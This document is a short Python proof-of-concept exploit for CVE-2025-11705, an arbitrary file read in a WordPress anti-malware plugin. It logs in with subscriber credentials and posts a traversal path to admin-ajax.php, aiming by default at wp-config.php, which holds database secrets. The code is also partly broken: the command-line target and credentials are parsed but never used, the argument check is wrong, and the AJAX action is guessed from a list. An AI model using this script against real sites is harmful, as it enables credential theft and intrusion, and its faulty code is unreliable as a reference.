CVE-2025-11705

# CVE-2025-11705 PoC - WordPress Anti-Malware Plugin Arbitrary File Read # Requires: Subscriber-level access or higher import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_auth_cookie(): """Login and get authentication cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_file_read(cookies, filepath): """Read arbitrary file via vulnerable AJAX endpoint""" ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Try different GOTMLS AJAX actions actions = ['GOTMLS_settings', 'GOTMLS_scan', 'GOTMLS_update'] for action in actions: data = { 'action': action, 'GOTMLS_path': filepath # File path to read } try: response = requests.post( ajax_url, data=data, cookies=cookies ) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Success with action: {action}") print(f"[+] File: {filepath}") print("=" * 50) print(response.text) print("=" * 50) return response.text except Exception as e: print(f"[-] Error with {action}: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-11705.py <target_url> <username> <password> [filepath]") print("Example: python cve-2025-11705.py http://example.com attacker password ../../wp-config.php") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] filepath = sys.argv[4] if len(sys.argv) > 4 else "../../wp-config.php" print(f"[*] Logging in as {username}...") cookies = get_auth_cookie() if not cookies: print("[-] Failed to authenticate") sys.exit(1) print("[*] Attempting to read file...") exploit_file_read(cookies, filepath) if __name__ == "__main__": main()

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